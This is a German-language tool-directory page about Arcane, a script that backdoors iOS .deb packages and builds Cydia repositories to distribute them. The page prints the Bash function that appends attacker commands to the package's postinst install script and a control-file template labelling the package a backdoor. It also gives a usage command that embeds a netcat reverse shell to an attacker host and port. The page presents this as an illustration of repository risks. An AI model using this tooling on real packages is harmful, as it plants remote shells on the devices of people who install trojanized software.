Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Arcane — Arcane ist ein einfaches Skript, das entwickelt wurde, um iOS-Pakete (iphone-arm) zu hintertürchen und die notwendigen Ressourcen für APT-Repositories zu erstellen. | Kitploit
Tools/GitHubGitHub/tokyoneon/arcane
iOS-SicherheitPost-ExploitationMobile SicherheitLieferkettensicherheitLernen & BildungPayload-Entwicklung
GitHubtokyoneon/arcane

Arcane

Arcane ist ein einfaches Skript, das entwickelt wurde, um iOS-Pakete (iphone-arm) zu hintertürchen und die notwendigen Ressourcen für APT-Repositories zu erstellen.

Repository anzeigen
15729vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Arcane ist ein einfaches Skript, das entwickelt wurde, um iOS-Pakete (iphone-arm) zu hintertürigen und die notwendigen Ressourcen für APT-Repositorys zu erstellen. Es wurde für diese Veröffentlichung erstellt, um zu veranschaulichen, warum Cydia-Repositorys gefährlich sein können und welche Post-Exploitation-Angriffe von einem kompromittierten iOS-Gerät aus möglich sind.


Wie Arcane funktioniert...

Um zu verstehen, was im GIF passiert, dekomprimieren Sie ein mit Arcane erstelltes Paket.

root@kitploit:~
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp

Beachten Sie die Dateien control und postinst im Verzeichnis DEBIAN. Beide Dateien sind wichtig.

root@kitploit:~
tree /tmp/whois-decomp/

/tmp/whois-decomp/
├── DEBIAN
│   ├── control
│   └── postinst
└── usr
    └── bin
        └── whois

Es ist möglich, Skripte als Teil eines Pakets beim Installieren oder Entfernen von Anwendungen bereitzustellen. Paketbetreuerskripte umfassen die Dateien preinst, postinst, prerm und postrm. Arcane nutzt die postinst-Datei aus, um während der Installation Befehle auszuführen.

root@kitploit:~
# The "post-installation" file. This file is generally responsible
# for executing commands on the OS after installing the required
# files. It's utilized by developers to manage and maintain various
# aspects of an installation. Arcane abuses this functionality by
# appending malicious Bash commands to the file.
postinst="$tmp/DEBIAN/postinst";

# A function to handle the type of command execution embedded into the
# postinst file.
function inject_backdoor ()
{
    # If --file is used, `cat` the command(s) into the postinst file.
    if [[ "$infile" ]]; then
        cat "$infile" >> "$postinst";
        embed="[$infile]";
    else
        # If no --file, utilize the simple Bash payload, previously
        # defined.
        echo -e "$payload" >> "$postinst";
        embed="generic shell command";
    fi;
    status "embedded $embed into postinst" "error embedding backdoor";
    chmod 0755 "$postinst"
};

Die control-Datei enthält Werte, die von Paketverwaltungswerkzeugen beim Installieren von Paketen verwendet werden. Arcane wird entweder eine vorhandene control-Datei ändern oder sie erstellen.

root@kitploit:~
# The "control" file template. Most iOS packages will include a
# control file. In the event one is not found, Arcane will use the
# below template. The `$hacker` variable is used here to occupy
# various arbitrary fields.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";

...

# An `if` statement to check for the control file.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
    # If no control is detected, create it using the template.
    echo "$controlTemp" > "$tmp/DEBIAN/control";
    status "created control file" "error with control template";
else
    # If a control file exists, Arcane will simply rename the package
    # as it appears in the list of available Cydia applications. This
    # makes the package easier to location in Cydia.
    msg "detected control file" succ;
    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
    status "modified control file" "error with control";
fi;

Verwendung

Klonen Sie das Repository in Kali v2020.3.

root@kitploit:~
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help

Betten Sie einen Befehl in ein gegebenes Paket ein. Weitere Informationen finden Sie im Artikel.

root@kitploit:~
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat

Paketbeispiele

Das Repository enthält Pakete zum Testen.

root@kitploit:~
ls -la samples/

-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  76688 Aug 29  2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root  60866 Jul  8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root  13810 Aug 29  2018 whois_5.3.2-1_iphoneos-arm.deb

MD5-Prüfsummen, wie im offiziellen Bingner-Repository angegeben.

root@kitploit:~
md5sum samples/*.deb

3f1712964701580b3f018305a55e217c  samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f  samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0  samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7  samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16  samples/whois_5.3.2-1_iphoneos-arm.deb
Tool herunterladen